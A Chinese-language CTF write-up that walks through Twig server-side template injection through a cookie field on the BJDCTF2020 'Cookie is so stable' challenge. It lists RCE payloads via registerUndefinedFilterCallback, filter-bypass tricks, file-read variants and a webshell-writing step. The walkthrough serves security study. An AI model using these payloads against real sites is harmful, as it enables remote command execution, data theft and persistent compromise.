[BJDCTF2020]Cookie is so stable(cookie+Twig模板注入)
题目描述
打开页面是一个名为 “Cookie_is_so_subtle!” 的站点,有 Flag 和 Hint 两个页面。
Hint 页面提示:Why not take a closer look at cookies?(提示Cookie传参)
flag页面有一个表单可以提交用户名。

SSTI 漏洞确认
第一步:探测模板注入
访问 flag.php,发现有一个表单可以提交用户名。
提交 {{2*2}} 后,页面返回 Hello 4,确认存在 SSTI 注入。
第二步:判断模板引擎
抓包发现,服务端返回的响应头中包含 X-PHP-Engine: PHP/7.3.13,确认使用 PHP 7.3.13 版本,所以是以php为基础的模板引擎(Twig/Smarty)
通过测试:
{$smarty.version}→ 原样输出 ❌ (非 Smarty){{random()}}→ 随机数 ✅
确认模板引擎为 Twig。
漏洞利用
关键发现:Cookie 注入点
通过抓包发现,用户提交的用户名被存储在 Cookie 的 user 字段中:
当携带该 Cookie 再次访问 flag.php 时,服务端会将 Cookie 值传入 Twig 模板渲染。
错误做法
直接通过表单提交 Twig RCE payload 会失败,因为 _self 对象在表单处理流程中不可用,抛出异常并被服务端捕获(显示 “What do you want to do?!”)。
正确利用流程
在bp抓的包中的cookie中,将user字段替换为Twig RCE payload
成功拿到 Flag:
Twig SSTI 原理解析
registerUndefinedFilterCallback 原理
Twig 的 registerUndefinedFilterCallback 方法允许注册一个回调函数,当模板中使用未定义的过滤器时,Twig 会调用这个回调。通过将其设置为 exec,然后调用一个不存在的过滤器(实际是命令),即可实现任意命令执行。
1 | {{_self.env.registerUndefinedFilterCallback("exec")}} |
执行流程:
_self— 当前模板实例_self.env— Twig Environment 对象registerUndefinedFilterCallback("exec")— 注册exec函数作为未定义过滤器的回调getFilter("cat /flag")— 获取名为cat /flag的过滤器,触发回调执行exec("cat /flag")
常见绕过方式
1. setLoader + getLoader 绕过
除了 registerUndefinedFilterCallback,还可以利用 setLoader 方法替换模板加载器为 system,然后通过 getLoader 触发命令执行:
1 | {{_self.env.setLoader("system")}} |
setLoader 原本用于设置模板加载器,这里被替换为了命令执行函数。getLoader 调用时会执行传入的命令。
2. 关键字过滤绕过
字符串拼接绕过 _self 过滤
1 | {% set a = "s"~"elf" %} |
双引号/单引号互换
1 | {{_self.env.registerUndefinedFilterCallback('system')}} |
命令中的空格绕过
1 | {{_self.env.registerUndefinedFilterCallback("system")}} |
函数名编码绕过
1 | {{_self.env.registerUndefinedFilterCallback("\x65\x78\x65\x63")}} |
3. 替换 RCE 函数名
当 exec 或 system 被禁用时,尝试其他命令执行函数:
1 | {{_self.env.registerUndefinedFilterCallback("passthru")}} |
其他可用函数:shell_exec、popen、proc_open、pcntl_exec、system、exec、passthru
4. 文件读取代替命令执行
如果命令执行函数全部被禁用,可以使用文件读取函数:
1 | {{_self.env.registerUndefinedFilterCallback("file_get_contents")}} |
或者直接通过 map 过滤器:
1 | {{["/flag"]|map("file_get_contents")|join(",")}} |
5. 写 Webshell
1 | {{_self.env.registerUndefinedFilterCallback("file_put_contents")}} |
